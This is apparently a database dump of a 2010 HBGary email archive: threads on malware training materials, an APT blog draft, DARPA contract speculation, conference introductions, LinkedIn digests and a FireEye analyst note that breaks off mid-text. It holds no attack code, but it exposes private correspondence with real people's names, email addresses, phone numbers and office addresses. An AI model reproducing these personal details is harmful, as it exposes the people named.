9.0.819 / Virus Database: 271.1.1/2871 - Release Date: 05/13/1002:26:00No virus found in this incoming message.Checked by AVG - www.avg.com &lt;http://www.avg.com/&gt; \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2871 - Release Date: 05/13/1014:26:00 No virus found in this incoming message.\r\nChecked by AVG - www.avg.com &lt;http://www.avg.com/&gt; Version: 9.0.819 / Virus Database: 271.1.1/2871 - Release Date: 05/14/10\r\n02:26:00 No virus found in this incoming message.Checked by AVG - www.avg.com &lt;http://www.avg.com/&gt; \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2871 - Release Date: 05/14/1002:26:00\r\n',3217,'aaron_hbgary_com/3217.html'),(6319,'2010-05-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004525.M125705P14101Q1174.eml','jim@hbgary.com,\"Mark Trynor\" <mark@hbgary.com>,jim@hbgary.com,\"Mark Trynor\" <mark@hbgary.com>','Training Materials','Jim,\r\n\r\nCan you please send Mark (cc\'d) and I the latest training materials\r\n(lecture charts, hand-outs, labs, etc) for the Basic Malware course, so\r\nwe can start preparing to deliver the class sometime in July, in\r\nColorado Springs (I\'ll call to discuss pinning down a date).\r\n\r\nDo you have these saved in Google Docs?  Perhaps you could just share\r\nthe folder to us...\r\n\r\nThanks,\r\nTed\r\n\r\n	\r\n',1169,'aaron_hbgary_com/1169.html'),(6320,'2010-05-14','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297004526.M191374P14101Q1175.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','RE: Training Materials','Ted,\r\nI\'ll put them on Google docs and share them out... Standby and I\'ll let you\r\nknow when they\'re on the site and ready...\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, May 14, 2010 9:42 AM\r\nTo: jim@hbgary.com; Mark Trynor\r\nCc: Penny Leavy-Hoglund; \'Aaron Barr\'\r\nSubject: Training Materials\r\n\r\nJim,\r\n\r\nCan you please send Mark (cc\'d) and I the latest training materials\r\n(lecture charts, hand-outs, labs, etc) for the Basic Malware course, so\r\nwe can start preparing to deliver the class sometime in July, in\r\nColorado Springs (I\'ll call to discuss pinning down a date).\r\n\r\nDo you have these saved in Google Docs?  Perhaps you could just share\r\nthe folder to us...\r\n\r\nThanks,\r\nTed\r\n\r\n	\r\n\r\n',1579,'aaron_hbgary_com/1579.html'),(6321,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004526.M615040P14101Q1176.eml','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>','Podcast','Nart,\r\n\r\nI forgot to ask.  We are going to start a podcast on various cyber\r\nsecurity topics.  Would you be interested in doing one on advanced\r\nthreats, characteristics, techniques, etc?  We would do it\r\nconversation style.  First talk a little about SecDev, efforts, then\r\nthe topics.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',12077,'aaron_hbgary_com/12077.html'),(6322,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004526.M899483P14101Q1177.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: APT blog post','Good stuff.  Only a few comments.  I had a meeting with GD earlier.  Available if you want to discuss.AaronSent from my iPadOn May 14, 2010, at 11:39 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nAaron,\r\nwhat do you think?\r\n-- snip --&gt;\r\nFinally a dose of clarity for the &quot;APT&quot;.  It is an overused word, one used to sell security products, even if these are the &#39;same&#39; security products you have been using for the past 10 years.  Josh Corman of 451 Group really laid out the term, where it came from, what it means, and more importantly WHAT IT DOES NOT mean.   I posted a similar blog a while ago and got comments like “it’s the person, not the malware”.  I know that.  I’ve been saying that for years, but how the term APT is used, people make it sound like it&#39;s ONLY malware.  In fact, it’s not only malware - it’s  the intent.\r\nComment: in fact it&#39;s the actors and their intent.   Josh gets this, more importantly he felt the need to speak up about this.  I agree, it’s about the ADVERSARY.  Malware is just a tool, one of MANY that they use.  Focusing on one aspect of security is not going to make you secure, it’s understanding what they are trying to get.  I would argue a &#39;slightly&#39; different take in that I don’t necessarily believe it’s only scarce resources these adversaries are after.  It’s actually anything that gets them &#39;closer&#39; to the info they are seeking. This could be money, IP, marketing plans, hiring plans, personally identifying information.\r\nAlso could be IT resources.  Because while APT were at one time ONLY focused on military, they’ve expanded.  \r\n\r\n\r\nI also applaud Josh’s note that APT uses existing tools.  Others seems to think this is not the case, or that they don’t use packed malware, or that APT don&#39;t use botnets.  Why wouldn’t they?  It seems the more that someone tells me what APT isn&#39;t, the more it becomes clear they have no idea what APT really is.  If APT use existing malware, which I’ve always maintained, then packing is par for the course, because it&#39;s a cheap way to defeat signature based detection definitions at the gateway and host alike.  Perhaps the APT did some recon into the network and learned that using XYZ packer would defeat the AV solution at the desktop.\r\nThe US government created the term APT to characterize a class of threats originating from Chinese and Russian state sponsored and criminal elements. \r\n   \r\n\r\nSince the government coined the term &quot;APT&quot; it has always been about Russian and Chinese attackers, BOTH criminal and state sponsored.  For the government, it&#39;s very difficult to draw a line between the two.  If you understand information operations, then you know that APT will use any and all means at their disposal to achieve the mission objective.  If this means use of packers, so be it.  The same applies to any rule or definition someone puts in my face telling me what APT is and is not.  An IO campaign will include a full spectrum of capabilities.  In the context of cyber, each attack on a government facility, contractor, or commercial entity could be a single operation that is part of a larger campaign.   Operations could be designed to assume false persona&#39;s, for example impersonating college students in a dorm room, or even a false-flag - impersonating the intelligence service of another foreign country.  If you truly know what APT is about, you know that you can&#39;t start boxing it up and packaging it.   \r\n\r\n\r\n',8892,'aaron_hbgary_com/8892.html'),(6323,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004527.M103471P14101Q1178.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Cyber Genome','Good Intel from chris starr today.  He got intel that DARPA is going\r\nto award 8 contracts, most of them in TA-1.  It is very possible we\r\nwere not given an award because we have an award coming in ta-1 and he\r\nbelieves we already have much of the problem solved in ta-3.  We will\r\nsoon find out.  The fact GD has not received a rejection yet is a good\r\nsign.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',15381,'aaron_hbgary_com/15381.html'),(6324,'2010-05-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004527.M371160P14101Q1179.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Genome','Could it be that because of MITRE\'s work, they aren\'t awarding in TA3?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 14, 2010 11:50 AM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Cyber Genome\r\n\r\nGood Intel from chris starr today.  He got intel that DARPA is going\r\nto award 8 contracts, most of them in TA-1.  It is very possible we\r\nwere not given an award because we have an award coming in ta-1 and he\r\nbelieves we already have much of the problem solved in ta-3.  We will\r\nsoon find out.  The fact GD has not received a rejection yet is a good\r\nsign.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',10694,'aaron_hbgary_com/10694.html'),(6325,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004527.M579850P14101Q1180.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Cyber Genome','I think it might be a combination of things.  In the end i think van\r\nputte has become aware of efforts that make automated malware analysis\r\nmore tangible and less of a DARPA hard problem.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 14, 2010, at 2:59 PM, \"Penny Leavy-Hoglund\"  wrote:\r\n\r\n> Could it be that because of MITRE\'s work, they aren\'t awarding in TA3?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 14, 2010 11:50 AM\r\n> To: Penny Leavy; Greg Hoglund; Bob Slapnik\r\n> Cc: Ted Vera\r\n> Subject: Cyber Genome\r\n>\r\n> Good Intel from chris starr today.  He got intel that DARPA is going\r\n> to award 8 contracts, most of them in TA-1.  It is very possible we\r\n> were not given an award because we have an award coming in ta-1 and he\r\n> believes we already have much of the problem solved in ta-3.  We will\r\n> soon find out.  The fact GD has not received a rejection yet is a good\r\n> sign.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n',3650,'aaron_hbgary_com/3650.html'),(6326,'2010-05-14','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297004527.M778927P14101Q1181.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Jason March and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsMay 14, 2010\r\n    AFCEA NOVA\r\n    \r\n      Latest:\r\n          1 discussion\r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Registration is open for AFCEA NOVA mentor protege night June 3\r\n        Add a comment  &raquo;\r\n\r\n      Started by Jason March, Executive Vice President at Project Time &amp; Cost\r\n        \r\n          \r\n                    http://www.afceanova.org/events/young-afcean-events/young-afceans-mentor-protege-night\r\n                By Jason March, Executive Vice President at Project Time &amp; Cost\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',8549,'aaron_hbgary_com/8549.html'),(6327,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004528.M17164P14101Q1182.eml','\"Aaron Barr\" <adbarr@mac.com>','Secdev','Reseller agreement\r\nLicense fees\r\nMarketing material\r\nSlide decks\r\n\r\n\r\nSent from my iPad\r\n',10287,'aaron_hbgary_com/10287.html'),(6328,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004528.M247323P14101Q1183.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Fwd: Introduction','Sent from my iPadBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: May 14, 2010 11:14:20 AM EDTTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject: IntroductionScott,Let me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet).  Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference.  He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc.  I mentioned to him I thought your talk would be appropriate and engaging.\r\nAaron\r\n',8187,'aaron_hbgary_com/8187.html'),(6329,'2010-05-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004528.M487375P14101Q1184.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Blog post on APT is up',' \r\nPenny, Karen, Aaron,\r\n \r\nI posted the APT blog post and linked it from hbgary main page - its also on fasthorizon.\r\n \r\nThanks for your help writing this !!!\r\n \r\n-Greg\r\n',7483,'aaron_hbgary_com/7483.html'),(6330,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004528.M875885P14101Q1185.eml','\"Ted Vera\" <ted@hbgary.com>','fun','John Senchak&nbsp;via&nbsp;Jake Marx&nbsp;Agreed, Jake. This is not about her being a lesbian; it is about a contract for services. Unless she became a lesbian yesterday (and is considering that a service-related injury), she understood the requirements of service and her commitment to the military in exchange for an education. Integrity my ass! (No pun intended...) This pisses me off. It\'s a hot-button American issue and the public is being exploited for personal interest.Now, dear audience, you may disagree with me. But that would just make you wrong.Sara Isaacson: ROTC Student May Be Forced To Repay Army Scholarship After Coming Outwww.huffingtonpost.comUniversity of North Carolina-Chapel Hill student Sara Isaacson said coming out as a lesbian was a matter of integrity. But because Isaacson is an ROTC member, her choice to publicly declare her sexuality might cost her $80,000 -- the cost of her tuition so far at UNC, which has been paid for thus fa...2 hours ago&nbsp;·&nbsp;Comment&nbsp;·&nbsp;Like&nbsp;·&nbsp;ShareSam Nuckolls&nbsp;likes this.Sam Nuckolls&nbsp;Agreed. Integrity (\"Honesty and Loyalty combined\") is a term that Officers took upon themselves to define their own character. If the student can\'t hold to that, then they\'re not what they\'re claiming to be.It is not an issue of sexual-orientation.It does become a contract-issue where honesty is the moral question, not what she does in her own&nbsp;...See More2 hours agoJake Marx&nbsp;She either did not think through her decisions or she wants to be a martyr for the cause. If she wants to be a martyr (for this cause that I fully support) then she\'s gotta know that martyrs get burned at the stake and that\'s why they\'re remembered.2 hours agoJohn Senchak&nbsp;Well stated, Jake. There is a price that comes with \'making a statement\' for a cause of faith, belief, and/or integrity. In this case, the price she must pay may just about equal the cost of tuition (and books).2 hours agoJake Marx&nbsp;exactly. I know people will totally disagree with me because they are so against DADT. But she should have consulted with the lambda legal defense fund or Dan Choi or at least Jag.&nbsp;Now this is insensitive... but she\'s only in Air Force ROTC and she\'s a lesbian! My God! Is there not a better position for a person to be in if one is to be gay&nbsp;...See Moreabout an hour agoMatt Maple&nbsp;That\'s funny shit Jake.about an hour agoJohn Senchak&nbsp;Can I git a \"AMEN?\"!about an hour agoAaron Barr&nbsp;I agree and disagree with statements made. Honesty is like everything else in life, not absolute. This is not a matter of honesty or integrity. Sometimes you can choose to be dishonest for a greater purpose. That said, like all civil disobedience, or choice, you have to accept the possible consequences, any thing else is just naive and lacks responsibility.about an hour ago&nbsp;·&nbsp;George Schmick&nbsp;She broke her contract... Pretty straight forward. I look at it this way.. If she had been borrowing the money from the bank, there would be interest... . I think she should be liable for her tuition plus damages because she stole a ROTC slot from the Army for four years, robbing them of an officer, and the interest from her tuition. Don\'t ROTC&nbsp;...See Moreabout an hour agoLanette Pollock Plambeck&nbsp;Hmmm. A 21 year old woman in ROTC comes out because her integrity would allow her to do no less. I believe integrity is not a selective quality...if it moves you in one aspect of life, it should move you in all others. That same element that caused her to declare her orientation should also cause her to repay monies garnered from a contract she&nbsp;...See More51 minutes agoAaron Barr&nbsp;Hardly anything is ever straight forward. If you think your integrity would never allow you to lie or withhold truth, think again. Eventually all baseless laws are weak enough to be challenged, civil rights, etc.. She made a determination to come forward now maybe seeing the environment changing and wanting to help her cause. Maybe she is just&nbsp;...See More33 minutes ago&nbsp;·&nbsp;Aaron Barr&nbsp;But I agree with Jake...I would have waited...7 minutes ago&nbsp;·&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10140,'aaron_hbgary_com/10140.html'),(6331,'2010-05-14','\"cybernexus Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297004529.M168953P14101Q1186.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Scott Sheldon and other cybernexus group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsMay 14, 2010\r\n    cybernexus\r\n    \r\n      Latest:\r\n          1 discussion\r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Technical Tuesday - 25 May 2010; 1600 - 1730\r\n\r\nITT malware spam reverse engineering\r\n\r\nPresented by: Paul Frank\r\n        Add a comment  &raquo;\r\n\r\n      Started by Scott Sheldon, VP, Senior Account Executive at SAIC\r\n        \r\n          \r\n                    A malicious link was e-mailed to several employees in the ITT Corporation in a &quot;spear fishing attack&quot; that attempted to exploit and gain persistent access to a victim\'s computer.  The initial exploit attempted to take advantage of an unpatched vulnerability and utilized malware that was previously unseen in the wild.  Since this malware package was previously unknown, binary analysis and reverse-engineering was used to identify its properties and the consequences to an infected system.  This talk will discuss the attack starting with the malicious link to how an attacker could fully control a compromised machine.  The talk will also focus on the binary analysis and reverse engineering techniques and tools used for identifying the functions and properties of this malware package.  We will also highlight incident response measures and the benefits of performing similar analyses internally.\r\n\r\nPresented by Paul Frank: Paul Frank is a Cyber Engineer at the ITT Corporation\'s Advanced Information Systems division where he performs research and development in various information security topics including penetration testing, vulnerability assessment, attack techniques, social engineering, and malware analysis.  Paul has a strong interest in binary reverse engineering, exploit development and operating system security.  Paul is an almunus of Johns Hopkins University\'s Information Security Institute where he received a MS in Security Informatics and was the captain of the university hockey team.\r\n\r\nSAIC will host this Technical Tuesday at its facility at 6841 Benjamin Franklin Drive, Columbia, MD 21046.\r\n                By Scott Sheldon, VP, Senior Account Executive at SAIC\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',9840,'aaron_hbgary_com/9840.html'),(6332,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004530.M463354P14101Q1187.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: REBL 10','Greg,\r\n\r\nHere are docs for conference.\r\n\r\nNeed to also register @ https://www.iad.gov/events/#\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Scott K. Brown\" \r\n> Date: May 13, 2010 1:45:06 PM EDT\r\n> To: Aaron Barr \r\n> Subject: REBL 10\r\n> \r\n> Aaron,\r\n> \r\n> Attached are the planning documents for REBL that I mentioned this\r\n> afternoon.  Right now, I can fit your talk into the agenda on Thursday 17\r\n> June.  Let me know if you prefer morning or afternoon.\r\n> \r\n> Thanks,\r\n> \r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14053,'aaron_hbgary_com/14053.html'),(6333,'2010-05-14','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004530.M768609P14101Q1188.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Genome','Aaron,\r\n\r\nI would be impressed if DARPA chooses to fund no one on TA3 due to our\r\nlargely solving the problem.  After all, they say they want to fund things\r\nthat industry wouldn\'t otherwise take on.\r\n\r\nBut if they fund somebody else for TA3 who is starting from scratch then\r\nthey would be proving they have their heads up their butts.\r\n\r\nFingers crossed for TA1.......\r\n\r\nBob \r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 14, 2010 2:50 PM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Cyber Genome\r\n\r\nGood Intel from chris starr today.  He got intel that DARPA is going\r\nto award 8 contracts, most of them in TA-1.  It is very possible we\r\nwere not given an award because we have an award coming in ta-1 and he\r\nbelieves we already have much of the problem solved in ta-3.  We will\r\nsoon find out.  The fact GD has not received a rejection yet is a good\r\nsign.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2871 - Release Date: 05/14/10\r\n02:26:00\r\n\r\n',6786,'aaron_hbgary_com/6786.html'),(6334,'2010-05-14','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004530.M966707P14101Q1189.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','RE: Cyber Genome','Penny,\r\n\r\nIn my view MITRE\'s work is like a language to describe malware.  They don\'t\r\nhave any automated tools to analyze malware.  At some point HBGary may\r\nchoose to map our DDNA traits into MITRE\'s enumeration.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Friday, May 14, 2010 3:00 PM\r\nTo: \'Aaron Barr\'; \'Greg Hoglund\'; \'Bob Slapnik\'\r\nCc: \'Ted Vera\'\r\nSubject: RE: Cyber Genome\r\n\r\nCould it be that because of MITRE\'s work, they aren\'t awarding in TA3?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 14, 2010 11:50 AM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Cyber Genome\r\n\r\nGood Intel from chris starr today.  He got intel that DARPA is going\r\nto award 8 contracts, most of them in TA-1.  It is very possible we\r\nwere not given an award because we have an award coming in ta-1 and he\r\nbelieves we already have much of the problem solved in ta-3.  We will\r\nsoon find out.  The fact GD has not received a rejection yet is a good\r\nsign.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2871 - Release Date: 05/14/10\r\n02:26:00\r\n\r\n',3901,'aaron_hbgary_com/3901.html'),(6335,'2010-05-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004531.M195880P14101Q1190.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Cyber Genome','Is three about automation?  I thought it was building a genome\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Friday, May 14, 2010 4:19 PM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'; \'Greg Hoglund\'\r\nCc: \'Ted Vera\'\r\nSubject: RE: Cyber Genome\r\n\r\nPenny,\r\n\r\nIn my view MITRE\'s work is like a language to describe malware.  They don\'t\r\nhave any automated tools to analyze malware.  At some point HBGary may\r\nchoose to map our DDNA traits into MITRE\'s enumeration.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Friday, May 14, 2010 3:00 PM\r\nTo: \'Aaron Barr\'; \'Greg Hoglund\'; \'Bob Slapnik\'\r\nCc: \'Ted Vera\'\r\nSubject: RE: Cyber Genome\r\n\r\nCould it be that because of MITRE\'s work, they aren\'t awarding in TA3?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 14, 2010 11:50 AM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Cyber Genome\r\n\r\nGood Intel from chris starr today.  He got intel that DARPA is going\r\nto award 8 contracts, most of them in TA-1.  It is very possible we\r\nwere not given an award because we have an award coming in ta-1 and he\r\nbelieves we already have much of the problem solved in ta-3.  We will\r\nsoon find out.  The fact GD has not received a rejection yet is a good\r\nsign.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2871 - Release Date: 05/14/10\r\n02:26:00\r\n\r\n\r\n',8605,'aaron_hbgary_com/8605.html'),(6336,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004531.M428570P14101Q1191.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Cyber Genome','Three was about automated malware analysis which our approach was\r\nthrough a genome, fuller execution tracing, and reasoning models.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 14, 2010, at 7:22 PM, Penny Leavy-Hoglund  wrote:\r\n\r\n> Is three about automation?  I thought it was building a genome\r\n>\r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Friday, May 14, 2010 4:19 PM\r\n> To: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'; \'Greg Hoglund\'\r\n> Cc: \'Ted Vera\'\r\n> Subject: RE: Cyber Genome\r\n>\r\n> Penny,\r\n>\r\n> In my view MITRE\'s work is like a language to describe malware.  They don\'t\r\n> have any automated tools to analyze malware.  At some point HBGary may\r\n> choose to map our DDNA traits into MITRE\'s enumeration.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Penny Leavy-Hoglund [mailto:penny@hbgary.com]\r\n> Sent: Friday, May 14, 2010 3:00 PM\r\n> To: \'Aaron Barr\'; \'Greg Hoglund\'; \'Bob Slapnik\'\r\n> Cc: \'Ted Vera\'\r\n> Subject: RE: Cyber Genome\r\n>\r\n> Could it be that because of MITRE\'s work, they aren\'t awarding in TA3?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 14, 2010 11:50 AM\r\n> To: Penny Leavy; Greg Hoglund; Bob Slapnik\r\n> Cc: Ted Vera\r\n> Subject: Cyber Genome\r\n>\r\n> Good Intel from chris starr today.  He got intel that DARPA is going\r\n> to award 8 contracts, most of them in TA-1.  It is very possible we\r\n> were not given an award because we have an award coming in ta-1 and he\r\n> believes we already have much of the problem solved in ta-3.  We will\r\n> soon find out.  The fact GD has not received a rejection yet is a good\r\n> sign.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.819 / Virus Database: 271.1.1/2871 - Release Date: 05/14/10\r\n> 02:26:00\r\n>\r\n>\r\n',7434,'aaron_hbgary_com/7434.html'),(6337,'2010-05-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004531.M657053P14101Q1192.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Interesting Research Note on Fireeye','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFireEye releases appliance, sets sights on\r\n\'advanced threat\' protection\r\n\r\nAnalyst:\r\nPaul Roberts\r\nDate: 14 May 2010\r\nEmail This Report: to\r\ncolleagues &raquo;&raquo; / to\r\nyourself &raquo;&raquo;\r\n451 Report Folder: File report &raquo;&raquo; View my folder &raquo;&raquo; \r\n\r\nFireEye has released a line of Malware Protection System\r\n(MPS) appliances designed to analyze inbound and outbound traffic for malware\r\nand communications with malicious command and control networks. Since we last\r\nspoke to the company, it took in an additional funding round from In-Q-Tel\r\nand had a tripling of customers to about 90, including some marquis accounts\r\nwe\'ve been asked not to name. FireEye notes new management, including CTO (and eEye\r\nfounder) Marc Maiffret and VP of sales Jeff Williams (formerly IronPort\r\nSystems/Cisco). Partnerships will be key going forward, including in the\r\nSIEM and UTM space. \r\n\r\nThe\r\n451 take\r\n\r\nFireEye\r\nis dead on in focusing on the protection gap between new, advanced threats and\r\nlegacy controls like firewall, Web gateway, IPS and endpoint anti-malware\r\nsuites. In our recent long-format report on e-crime\r\nand advanced persistent threats, we wrote that a shift from loud, noisy\r\nattacks to silent, stealthy and targeted hacks by advanced persistent adversaries\r\n(APAs) has broken the existing, layered enterprise-protection paradigm.\r\nCustomers need new tools, beyond the threat-specific signature hash, to\r\nidentify the malware on their networks. \r\n\r\nTo that end, FireEye\'s IP around signature-less behavioral monitoring and\r\ntracking of botnet command and control networks is extremely valuable to a wide\r\nrange of security firms. Though the company is still relatively small, its\r\nswelling client roster and some marquis large-enterprise wins (which we can\'t\r\ndisclose) suggest that the pain/price threshold may have been crossed, at least\r\nfor a certain segment. The addition of new appliance and inline threat blocking\r\ncertainly won\'t hurt &#8211; giving FireEye a value proposition beyond threat\r\nvisibility and a form factor that\'s more friendly to harried enterprise IT\r\nshops. \r\n\r\nThat said, we think FireEye\'s greatest potential is as an arms dealer to\r\nlarger, APA-challenged vendors selling gateway-, host- and cloud-based\r\nsecurity, rather than as a hardware or software vendor offering a discrete\r\nproduct for \'advanced threats.\' Some partner integrations in the months ahead\r\nmay help FireEye do just that &#8211; we\'ll be watching for those announcements\r\nas we gauge the direction in which FireEye is going next. \r\n\r\nWhen we last\r\nspoke with FireEye in 2008, 